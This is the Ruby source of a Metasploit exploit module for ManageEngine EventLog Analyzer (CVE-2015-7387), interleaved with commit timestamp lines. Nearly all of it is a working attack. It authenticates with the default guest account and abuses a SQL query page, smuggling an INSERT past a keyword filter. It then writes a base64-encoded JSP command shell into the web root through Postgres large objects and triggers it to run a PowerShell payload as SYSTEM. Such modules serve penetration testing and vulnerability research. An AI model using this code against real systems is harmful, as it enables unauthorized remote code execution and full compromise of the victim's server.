2015-09-15 00:29:16 +00:00
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
2016-03-08 13:02:44 +00:00
class MetasploitModule < Msf :: Exploit :: Remote
2015-09-27 05:33:40 +00:00
Rank = ManualRanking
2015-09-15 00:29:16 +00:00
include Msf :: Exploit :: Remote :: HttpClient
include Msf :: Exploit :: FileDropper
include Msf :: Exploit :: Powershell
def initialize ( info = { } )
super ( update_info ( info ,
2015-09-27 05:33:40 +00:00
'Name' = > 'ManageEngine EventLog Analyzer Remote Code Execution' ,
2015-09-15 00:29:16 +00:00
'Description' = > %q{
2015-09-27 05:33:40 +00:00
This module exploits a SQL query functionality in ManageEngine EventLog Analyzer v10 . 6
build 10060 and previous versions . Every authenticated user , including the default " guest "
account can execute SQL queries directly on the underlying Postgres database server . The
queries are executed as the " postgres " user which has full privileges and thus is able to
write files to disk . This way a JSP payload can be uploaded and executed with SYSTEM
privileges on the web server . This module has been tested successfully on ManageEngine
EventLog Analyzer 10 . 0 ( build 10003 ) over Windows 7 SP1 .
2015-09-15 00:29:16 +00:00
} ,
'License' = > MSF_LICENSE ,
'Author' = >
[
'xistence <xistence[at]0x90.nl>' # Discovery, Metasploit module
] ,
'References' = >
[
2015-10-16 03:41:39 +00:00
[ 'EDB' , '38173' ] ,
2015-10-16 03:48:53 +00:00
[ 'CVE' , '2015-7387' ] ,
2015-10-16 03:41:39 +00:00
[ 'URL' , 'http://seclists.org/fulldisclosure/2015/Sep/59' ]
2015-09-15 00:29:16 +00:00
] ,
'Platform' = > [ 'win' ] ,
'Arch' = > ARCH_X86 ,
'Targets' = >
[
2015-09-27 05:33:40 +00:00
[ 'ManageEngine EventLog Analyzer 10.0 (build 10003) / Windows 7 SP1' , { } ]
2015-09-15 00:29:16 +00:00
] ,
'Privileged' = > true ,
2015-09-27 05:33:40 +00:00
'DisclosureDate' = > 'Jul 11 2015' ,
2015-09-15 00:29:16 +00:00
'DefaultTarget' = > 0 ) )
register_options (
[
Opt :: RPORT ( 8400 ) ,
OptString . new ( 'USERNAME' , [ true , 'The username to authenticate as' , 'guest' ] ) ,
2015-09-27 05:33:40 +00:00
OptString . new ( 'PASSWORD' , [ true , 'The password to authenticate as' , 'guest' ] )
2015-09-15 00:29:16 +00:00
] , self . class )
end
def uri
2015-09-27 05:33:40 +00:00
target_uri . path
2015-09-15 00:29:16 +00:00
end
def check
# Check version
2016-02-01 21:12:03 +00:00
vprint_status ( " Trying to detect ManageEngine EventLog Analyzer " )
2015-09-15 00:29:16 +00:00
res = send_request_cgi ( {
'method' = > 'GET' ,
2015-09-27 05:33:40 +00:00
'uri' = > normalize_uri ( uri , 'event' , 'index3.do' )
2015-09-15 00:29:16 +00:00
} )
2015-09-27 05:33:40 +00:00
if res && res . code == 200 && res . body && res . body . include? ( 'ManageEngine EventLog Analyzer' )
2015-09-15 00:29:16 +00:00
return Exploit :: CheckCode :: Detected
else
return Exploit :: CheckCode :: Safe
end
end
2015-09-27 05:33:40 +00:00
def sql_query ( cookies , query )
2015-09-15 00:29:16 +00:00
res = send_request_cgi ( {
'method' = > 'POST' ,
2015-09-27 05:33:40 +00:00
'uri' = > normalize_uri ( uri , 'event' , 'runQuery.do' ) ,
2015-09-15 00:29:16 +00:00
'cookie' = > cookies ,
'vars_post' = > {
'execute' = > 'true' ,
'query' = > query ,
}
} )
unless res && res . code == 200
fail_with ( Failure :: Unknown , " #{ peer } - Failed executing SQL query! " )
end
2015-09-27 05:33:40 +00:00
res
2015-09-15 00:29:16 +00:00
end
def generate_jsp_payload ( cmd )
2015-09-27 05:33:40 +00:00
decoder = rand_text_alpha ( 4 + rand ( 32 - 4 ) )
decoded_bytes = rand_text_alpha ( 4 + rand ( 32 - 4 ) )
cmd_array = rand_text_alpha ( 4 + rand ( 32 - 4 ) )
jsp_code = '<%'
jsp_code << " sun.misc.BASE64Decoder #{ decoder } = new sun.misc.BASE64Decoder(); \n "
jsp_code << " byte[] #{ decoded_bytes } = #{ decoder } .decodeBuffer( \" #{ Rex :: Text . encode_base64 ( cmd ) } \" ); \n "
jsp_code << " String [] #{ cmd_array } = new String[3]; \n "
jsp_code << " #{ cmd_array } [0] = \" cmd.exe \" ; \n "
jsp_code << " #{ cmd_array } [1] = \" /c \" ; \n "
jsp_code << " #{ cmd_array } [2] = new String( #{ decoded_bytes } , \" UTF-8 \" ); \n "
jsp_code << " Runtime.getRuntime().exec( #{ cmd_array } ); \n "
jsp_code << '%>'
jsp_code
2015-09-15 00:29:16 +00:00
end
def exploit
2016-02-01 21:12:03 +00:00
print_status ( " Retrieving JSESSION ID " )
2015-09-15 00:29:16 +00:00
res = send_request_cgi ( {
'method' = > 'GET' ,
2015-09-27 05:33:40 +00:00
'uri' = > normalize_uri ( uri , 'event' , 'index3.do' ) ,
2015-09-15 00:29:16 +00:00
} )
if res && res . code == 200 && res . get_cookies =~ / JSESSIONID=( \ w+); /
jsessionid = $1
2016-02-01 21:12:03 +00:00
print_status ( " JSESSION ID Retrieved [ #{ jsessionid } ] " )
2015-09-15 00:29:16 +00:00
else
fail_with ( Failure :: Unknown , " #{ peer } - Unable to retrieve JSESSION ID! " )
end
2016-02-01 21:12:03 +00:00
print_status ( " Access login page " )
2015-09-15 00:29:16 +00:00
res = send_request_cgi ( {
'method' = > 'POST' ,
2015-09-27 05:33:40 +00:00
'uri' = > normalize_uri ( uri , 'event' , " j_security_check;jsessionid= #{ jsessionid } " ) ,
2015-09-15 00:29:16 +00:00
'vars_post' = > {
'forChecking' = > 'null' ,
'j_username' = > datastore [ 'USERNAME' ] ,
'j_password' = > datastore [ 'PASSWORD' ] ,
'domains' = > " Local Authentication \r \n " ,
'loginButton' = > 'Login' ,
'optionValue' = > 'hide'
}
} )
if res && res . code == 302
redirect = URI ( res . headers [ 'Location' ] )
2016-02-01 21:12:03 +00:00
print_status ( " Location is [ #{ redirect } ] " )
2015-09-15 00:29:16 +00:00
else
fail_with ( Failure :: Unknown , " #{ peer } - Access to login page failed! " )
end
# Follow redirection process
2016-02-01 21:12:03 +00:00
print_status ( " Following redirection " )
2015-09-15 00:29:16 +00:00
res = send_request_cgi ( {
'uri' = > " #{ redirect } " ,
'method' = > 'GET'
} )
if res && res . code == 200 && res . get_cookies =~ / JSESSIONID /
cookies = res . get_cookies
2016-02-01 21:12:03 +00:00
print_status ( " Logged in, new cookies retrieved [ #{ cookies } ] " )
2015-09-15 00:29:16 +00:00
else
fail_with ( Failure :: Unknown , " #{ peer } - Redirect failed, unable to login with provided credentials! " )
end
jsp_name = rand_text_alphanumeric ( 4 + rand ( 32 - 4 ) ) + '.jsp'
cmd = cmd_psh_payload ( payload . encoded , payload_instance . arch . first )
jsp_payload = Rex :: Text . encode_base64 ( generate_jsp_payload ( cmd ) ) . gsub ( / \ n / , '' )
2016-02-01 21:12:03 +00:00
print_status ( " Executing SQL queries " )
2015-09-15 00:29:16 +00:00
# Remove large object in database, just in case it exists from previous exploit attempts
2015-09-27 05:33:40 +00:00
sql = 'SELECT lo_unlink(-1)'
2015-09-15 00:29:16 +00:00
result = sql_query ( cookies , sql )
# Create large object "-1". We use "-1" so we will not accidently overwrite large objects in use by other tasks.
2015-09-27 05:33:40 +00:00
sql = 'SELECT lo_create(-1)'
2015-09-15 00:29:16 +00:00
result = sql_query ( cookies , sql )
if result . body =~ / menuItemRow \ ">([0-9]+) /
loid = $1
else
fail_with ( Failure :: Unknown , " #{ peer } - Postgres Large Object ID not found! " )
end
select_random = rand_text_numeric ( 2 + rand ( 6 - 2 ) )
# Insert JSP payload into the pg_largeobject table. We have to use "SELECT" first to to bypass OpManager's checks for queries starting with INSERT/UPDATE/DELETE, etc.
sql = " SELECT #{ select_random } ;INSERT INTO/**/pg_largeobject/**/(loid,pageno,data)/**/VALUES( #{ loid } , 0, DECODE(' #{ jsp_payload } ', 'base64'));-- "
result = sql_query ( cookies , sql )
# Export our large object id data into a WAR file
sql = " SELECT lo_export( #{ loid } , '..//..//webapps//event/ #{ jsp_name } '); "
sql_query ( cookies , sql )
# Remove our large object in the database
2015-09-27 05:33:40 +00:00
sql = 'SELECT lo_unlink(-1)'
2015-09-15 00:29:16 +00:00
result = sql_query ( cookies , sql )
register_file_for_cleanup ( " .. \\ webapps \\ event \\ #{ jsp_name } " )
2016-02-01 21:12:03 +00:00
print_status ( " Executing JSP payload " )
2015-09-15 00:29:16 +00:00
res = send_request_cgi ( {
'method' = > 'GET' ,
'uri' = > normalize_uri ( uri , jsp_name ) ,
} )
# If the server returns 200 we assume we uploaded and executed the payload file successfully
2015-09-27 05:33:40 +00:00
unless res && res . code == 200
print_status ( " #{ res . code } \n #{ res . body } " )
2015-09-15 00:29:16 +00:00
fail_with ( Failure :: Unknown , " #{ peer } - Payload not executed, aborting! " )
end
end
end